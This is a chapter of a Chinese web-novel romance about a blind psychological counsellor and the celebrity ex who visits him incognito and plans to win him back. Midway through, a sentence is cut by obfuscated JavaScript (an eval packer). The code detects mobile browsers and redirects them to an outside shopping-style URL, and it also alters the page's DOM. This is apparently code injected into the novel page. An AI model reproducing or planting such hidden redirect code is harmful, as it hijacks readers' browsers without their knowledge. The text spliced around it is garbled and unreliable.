——人的适应能力很强。 戚驰舟面无表情地在心里将这句话重复一遍,也不知道究竟认不认可。 他只是在静了片刻以后,重新将目光从不远处那张干净整洁的办公桌上扫过,又定定看了陶与乐很久,半晌后继续用手机打字:“进来的时候无意中看到副画。” “陶医生平时也追星吗?” “——喜欢戚驰舟?” 6. 粉丝 “陶医生也追星吗?” “陶医生也追星啊?” 自从戚驰舟四年前像紫薇星一样横空出世,直接一跃成为人尽皆知的当红明星之后,有很多人问过陶与乐这个问题。 有人惊诧,有人好奇,还有人非常兴奋,像找到共同语言一样,迫不及待跟他分享戚驰舟的种种新闻或者成绩。 于是,陶与乐从最开始的滞涩僵硬,到后面的应付自如,一共只花了不到一个月时间。 没人知道他这样一个后天残疾的瞎子,曾经跟娱乐圈现今最炙手可热的顶流有过无比亲密的交集,也没人知道他假装戚驰舟的粉丝,究竟藏着多少私心。 陶与乐到现在都还记得,六年前他在电话里向戚驰舟说出分手,然后悄悄躲起来那段时间,他一边承受着视力急速下降带来的恐惧、慌乱、痛苦,一边咬紧牙关强迫自己藏好,千万不要回头,千万不要让戚驰舟发现真相,不要成为他的累赘,不要让戚驰舟的人生都被一个瞎子给拽脱轨...... 日子最难过的时候,陶与乐连声音都压抑不住,只能带着一身磕碰出来的伤口,很懦弱地躺在床上,弓着身子,崩溃地,小声地,呜呜地哭。 彻底失明,双眼只剩下微弱的光感,就连医生也宣告无能为力那天,他甚至有那么一瞬间想过去死。 为什么他的基因会有缺陷,为什么他会变成瞎子,为什么这样的事会被他给碰上,为什么...... 哪怕陶与乐后来重新振作起来,用爷爷留下的钱找到一所盲校,在那里重新学习该如何以一个瞎子的身份生活。 那种压抑、害怕与痛苦,还是在无数个午夜梦回时,将陶与乐压得喘不过气,激得他浑身上下都疼。 这当然不再是因为失明。 失明这件事陶与乐已经接受了,认命了,不在意了。 他只是越来越想戚驰舟,又不敢去想戚驰舟。 当初他用那种方式提出分手,又不告而别,戚驰舟怪不怪他?恨不恨他?是不是讨厌死了他,气到不愿意向任何人再提起他?这么长时间过去了,会不会慢慢地忘记他? 各种各样的念头堵在胸口,自始自终都挥之不去,陶与乐难受得一颗心都碎成几瓣。 但事实上,他最害怕的还不是这些。 他最害怕的,是未来某一天,自己会率先把戚驰舟给忘掉。 忘记他的声音,忘记他的样子,忘记那个对他来说最最重要的人...... 陶与乐不想忘记。 可人的记忆并非永恒,尤其是当再也不能看到的时候。 哪怕他在大脑中不断强化,反复回忆,也抵不过很多具体事件随着时间的流逝而渐渐模糊。 于是有那么一段时间,陶与乐害怕到甚至有些魔怔—— 他反反复复在盲文板上写戚驰舟的名字,反反复复听导进备忘录里那些语音,在自我折磨与自我安慰之间反复横跳。 长大以后的陶与乐已经不会哭了,原本他以为日子就要这么过下去了,他会一直将戚驰舟这三个字当成秘密,一直藏在心底......没想到突然有一天,竟然从别人口中听见了这个名字。 那天,陶与乐刚刚下课,摸索着收拾东西准备回宿舍的时候,有两个身上喷着香水的女孩和他擦肩而过。 其中一个听起来非常激动地“啊”了一声:“快点告诉我他叫什么名字!内娱什么时候上新了这种等级的帅哥,我居然都不知道!” “我天,你没看最近院线新上的那部电影吗?他演的男二直接掀桌,现在各大平台热搜铺天盖地,简直是一夜爆红!” “最近忙着考研哪有空啊,快说快说,我新老公他到底叫什么名字!” 陶与乐弯了弯嘴角,继续握着盲杖朝与她们截然相反的方向离开。 然而下一秒,他听见刚才那个女孩用很大声音说:“戚驰舟啊!” 猝不及防听见这三个字,陶与乐脚步蓦地一顿,连带着大脑都一片空白,下意识停止呼吸,用那双黯淡无神的眼睛,近乎茫然和不敢置信地转头望向声音传来的方向。 ...... 那天,他手持盲杖,磕磕碰碰地在许多惊疑与好奇的议论声中,去商场“看”了失明后的第一次电影。 也是那天,电影院工作人员实在忍不住开口问他:“同学,你是不是买错票了?这场电影你今天已经看第三遍了......” 陶与乐张了张口,听见自己对工作人员说了没有。 他没买错票。 他只是......只是很久没听过戚驰舟的声音,实在太怀念而已。 再后来,那个继电影播出之后一夜间涨粉千万,被无数营销号称为紫薇星的内娱顶流多了一个微不足道的粉丝。 陶与乐也有了越来越多的渠道,可以光明正大地了解跟戚驰舟有关的消息。 他听说戚驰舟是在回国陪朋友试镜时意外被导演选上,因为长相优越,气质独特,导演还特意为他改了剧本。 听说签约经纪公司以后,寰亚曾斥巨资找大师帮他取过一个艺名,戚驰舟偏偏不肯,坚持要用自己的本名出道。 还听说戚驰舟一路星途坦荡,哪怕性格跟其他明星相比,少了点圆滑和委婉,非常我行我素,依然吸粉无数。 虽然不知道为什么原本想当赛车手的戚驰舟最终会成为演员,但陶与乐还是特别特别为现如今这个光芒万丈,被无数人喜欢的戚驰舟感到高兴。 ——也为自己居然还能再“看”到他,而感到极其久违的悸动、喜悦以及安心。 尽管这种悸动、喜悦以及安心的情绪里面,还掺杂着许多难以言明的其他东西,但对于现在的陶与乐来说,能远远地看着,这就已经是最好的结局。 因此,哪怕每一次从别人口中听见戚驰舟这三个字,他都会控制不住心跳加速,呼吸暂停,产生一系列隐秘的,不为人知的生理反应。 此刻,他还是在顿了一下之后,冲着对面的人给出了一个熟练的,无懈可击的答案。 陶与乐侧头往自己办公桌的方向“看”了一眼,笑着点了点头,轻声道:“是啊,我是他的粉丝。” 然后将话题重新转移到戚驰舟的身上:“您刚才用了‘也’字,是平时也追星吗?” 追个屁。 ——粉丝。 没听到自己想要的回答,戚驰舟在心里嗤笑一声,低头正准备继续打字,手机却在这时突然嗡嗡嗡震动起来。 看到上面显示伍月的名字,他想都不想就点了挂断,结果不到一秒,伍月契而不舍地又拨过来,戚驰舟很不高兴地皱起眉头,再次挂断。 然而,听见动静的陶与乐却适时扬起脸说:“没关系,您要是有事就先接电话,我可以回避。” 戚驰舟:“......” 六年不见,别的地方不见长进,智商倒是变高不少。 居然能看出他只是单纯地不想在他这个心理医生面前说话。 知道伍月不会无缘无故连着给他打两个电话,戚驰舟犹豫片刻,先是黑着脸在手机打字,告诉陶与乐他一会儿回来,然后戴上帽子口罩,拿起手机离开。 这时文朔已经等在门口,看到他出来连忙迎上来,小声说:“驰哥,伍月姐她——” “你给我闭嘴!”戚驰舟一胳膊肘直接卡在他的脖颈上,一边往远处走,一边低声道:“之前跟你说过什么来着?” 不能暴露身份。 不能让陶医生发现。 文朔缩了缩脖子,无声向自己老板道歉。 直到他们一起去到天台,戚驰舟才终于把人放开,同时带着一身极其不爽的气息给伍月回去电话:“喂,怎么......” “我跟你说,之前陈导的那个试镜,男一号终于定下来了!” 怪不得去管戚驰舟挂她电话的事,伍月激动道:“我刚刚才收到消息,但现在各方面条件都谈拢了,合同马上就签,不出意外的话,三月份就可以进组......幸好我们之前冒着风险专门把你的档期给空了出来,现在总算是没白忙活。” 伍月口中的这个陈导是谁? 陈纪平,国内电影导演的领军人物,不论国际影响力,奖项认可度还是艺术风格,艺术创新全部首屈一指,几乎可以称作中国电影史上最重要的导演之一,代表了一个时代的艺术高峰。 可以说被他选中的主角,就没有不升咖不拿奖的。 只不过正是因为如此,他也是出了名的挑剔和审慎。 距离戚驰舟上次试镜已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147183|196402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去半年,现如今属于他的一番才终于敲定,不怪伍月如此激动,她可是指望着戚驰舟能靠这部电影将身价再翻上几番,最好直接捧座国际奖杯回来...... 然而,面对这样一个天大的,娱乐圈众人恨不得能眼红死的好消息,戚驰舟却只回了一个“嗯”字,然后问她:“完整版剧本发来了吗?” “剧本当然......”见他的反应如此平淡,伍月莫名道:“你什么情况?之前还很想争取,现在这么平静?” “还有昨天晚上那个盲人心理咨询师,你表现得这么反常,我都还没问你——” “没什么,”眼看着他花三千块钱预约的一个小时都快到了,戚驰舟不自觉拧起眉头,言简意赅道:“有情况会跟你说的。” “剧本发我邮箱,我抽空会看,要是没别的事我先挂了,晚点联系。” “哎戚——” 万分无语的伍月拿着已经黑屏的手机深吸口气,决定这个月必须让戚驰舟给她报销两个爱马仕稀有皮的购物开销。 而这边,电话挂断以后,戚驰舟收起手机就准备回咨询室去。 一直在旁边候着的文朔看了他一眼又一眼,还是忍不住问:“驰哥,你为什么不直接告诉陶医生你是谁啊?” 要求以文字的形式交流,还让他一口气交了一年的咨询费用,全部以十倍计数,前台小姑娘以为他是什么散财童子,连压箱底的进口咖啡都拿出来给他泡了。 “......” 戚驰舟面无表情地看他一眼:“他不是也没认出我来。” 这下轮到文朔不说话了。 他心道:你又不出声,陶医生的眼睛还看不见,这要是能认出来,岂不是大白天的见到鬼了? 戚驰舟没立刻吭声。 事实上,虽然打定了主意不让陶与乐立刻发现自己是谁,但两人面对面的那刻,戚驰舟心底里还是不受控制地产生过片刻期待。 后来转念一想,又觉得自己非常可笑。 六年不见,就连他跟陶与乐刚刚在咨询室里握手,又一触即分那刻都觉得掌心传来的触感陌生,更何况陶与乐已经瞎了。 “可既然你不高兴,又怎么——”文朔实在不能理解。 “因为现在还不是时候,”戚驰舟面无表情地说。 那个爱哭又不说人话的003号系统无法向他剧透更多。 他不知道陶与乐这六年来到底过得怎样。 戚驰舟虽然咬牙切齿,恨不得立刻就将人拽进怀里,质问陶与乐当年的真相是不是他想的那样,质问他这六年想不想他。 可他也不得不因为他们分开的这两千一百多天,去思考其他有可能发生的小概率事件。 这么多年,陶与乐有没有喜欢过别人,有没有跟别人在一起。 虽然戚驰舟不认为这世上还有其他人能比得上他,可要是陶与乐真的有了新的生活,新的男友—— 戚驰舟强压着某种情绪,面无表情地想:那陶与乐不一定会希望他这个前男友出来搅局。 那他就远远看着,不破坏陶与乐现在的生活。 “那要是他没有呢?” 这话一问出口,文朔就意识到自己说了一句废话,重新调整思路道:“我的意思是,要是陶医生现在没跟别人在一起,但是......” 他咳嗽了一声:“但是也不想重新跟你在一起呢?” 文朔不清楚戚驰舟跟陶与乐之前到底有着怎样的感情纠葛,但他觉得既然分手那就一定会有原因。 破镜重圆这四个字只是表面上听起来简单,实际上哪有那么容易? 果然,听见这句话的戚驰舟脸瞬间黑了。 ——他当然不是没考虑过这种可能。 就算陶与乐没忘记他,还喜欢他,仍然有可能像六年前离开他那样,再一次拒绝他,推开他,躲着他。 那又怎样? 戚驰舟想起某年暑假回国,外婆正在电视上看的一部武侠剧集。 剧情什么的他不感兴趣,里面到底有哪些人物他也早就已经忘光。 唯独有一句台词,戚驰舟到现在都记忆深刻。 此刻,他看了文朔一眼,道:“他说不想就不想?” “我偏要勉强。”